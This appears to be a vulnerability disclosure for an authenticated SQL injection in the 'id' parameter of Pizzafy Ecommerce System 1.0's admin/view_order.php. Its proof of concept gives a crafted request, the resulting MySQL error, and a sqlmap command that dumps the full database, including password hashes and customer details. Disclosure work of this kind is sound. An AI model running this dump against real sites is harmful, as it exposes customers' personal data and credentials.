📄 Pizzafy Ecommerce System 1.0 SQL Injection

# SQL Injection in Pizzafy Ecommerce System — `admin/view_order.php`
    
    ## Details
    
    | Field | Value |
    |---|---|
    | **Vendor** | SourceCodester |
    | **Product** | Pizzafy Ecommerce System using PHP and MySQL |
    | **Version** | 1.0 |
    | **Vulnerability** | SQL Injection |
    | **CWE** | CWE-89 |
    | **CVSSv3 Score** | 7.2 (High) |
    | **Attack Vector** | Network |
    | **Auth Required** | Yes (Administrator) |
    | **Researcher** | Xmyronn |
    | **Date** | 2026-04-11 |
    
    https://www.sourcecodester.com/php/18708/pizzafy-ecommerce-system.html
    
    ---
    
    ## Affected Component
    
    **File:** `Pizzafy/admin/view_order.php`  
    **Parameter:** `id` (GET)
    
    ---
    
    ## Description
    
    The `admin/view_order.php` endpoint in Pizzafy Ecommerce System 1.0 fails to properly sanitize the `id` GET parameter before passing it to a MySQL query. An authenticated administrator can manipulate this parameter to inject arbitrary SQL, leading to full database compromise.
    
    ---
    
    ## Proof of Concept
    
    ### Step 1 — Login as Administrator
    
    Navigate to:
    ```
    http://localhost/pizzafy/Pizzafy/admin/index.php
    ```
    Login with admin credentials.
    
    ### Step 2 — Navigate to Orders
    
    ```
    http://localhost/pizzafy/Pizzafy/admin/index.php?page=orders
    ```
    <img width="1920" height="1080" alt="Screenshot 2026-04-11 212106" src="https://github.com/user-attachments/assets/b415920d-d2c9-42f6-9ecb-0e3579b7e399" />
    
    
    Click **View Order** on any order entry.
    <img width="1920" height="1080" alt="Screenshot 2026-04-11 212116" src="https://github.com/user-attachments/assets/9d8db0fb-a08f-445d-9592-818636531009" />
    
    
    ### Step 3 — Intercept Request in Burp Suite
    
    The intercepted GET request looks like:
    <img width="1920" height="1080" alt="Screenshot 2026-04-11 212135" src="https://github.com/user-attachments/assets/3149154e-853f-4a88-81dc-be00a209df2f" />
    
    
    ### Step 4 — Trigger SQL Error
    
    Modify `id=1` to `id='`:
    <img width="1920" height="1080" alt="Screenshot 2026-04-11 212145" src="https://github.com/user-attachments/assets/506ae221-64b0-42e9-a959-ecadfa5029e9" />
    
    ```
    GET /pizzafy/Pizzafy/admin/view_order.php?id=' HTTP/1.1
    ```
    
    **Response — MySQL error exposed:**
    
    ```
    Fatal error: Uncaught mysqli_sql_exception: You have an error in your SQL syntax;
    check the manual that corresponds to your MariaDB server version for the right
    syntax to use near ''' at line 1 in
    C:\xampp\htdocs\pizzafy\Pizzafy\admin\view_order.php:15
    ```
    
    ### Step 5 — Exploit with sqlmap
    
    Save the request to `view_order.txt` and run:
    
    ```bash
    sqlmap -r view_order.txt --dump --batch
    ```
    <img width="1920" height="1080" alt="Screenshot 2026-04-11 212406" src="https://github.com/user-attachments/assets/438e9b26-4927-462d-b3db-234d77626a84" />
    
    
    **sqlmap confirmed injection types:**
    
    | Type | Title |
    |---|---|
    | Boolean-based blind | AND boolean-based blind — WHERE clause |
    | Error-based | MySQL >= 5.0 FLOOR error-based |
    | Time-based blind | MySQL >= 5.0.12 SLEEP |
    | UNION query | Generic UNION query — 11 columns |
    
    **Full database dumped:**
    
    ```
    Database: pizzafy
    Tables: users, user_info, orders, order_list, product_list, category_list, system_settings
    ```
    
    Sensitive data exposed includes bcrypt password hashes, customer emails, order details, and system configuration.
    
    ---
    
    ## Impact
    
    A malicious authenticated administrator (or attacker who has obtained admin credentials) can:
    - Dump the full database including password hashes
    - Read sensitive customer PII (names, emails, addresses, phone numbers)
    - Potentially write to the database
    
    ---
    
    ## References
    
    - [SourceCodester — Pizzafy Ecommerce System](https://www.sourcecodester.com/php/18708/pizzafy-ecommerce-system.html)
    - CWE-89: Improper Neutralization of Special Elements used in an SQL Command.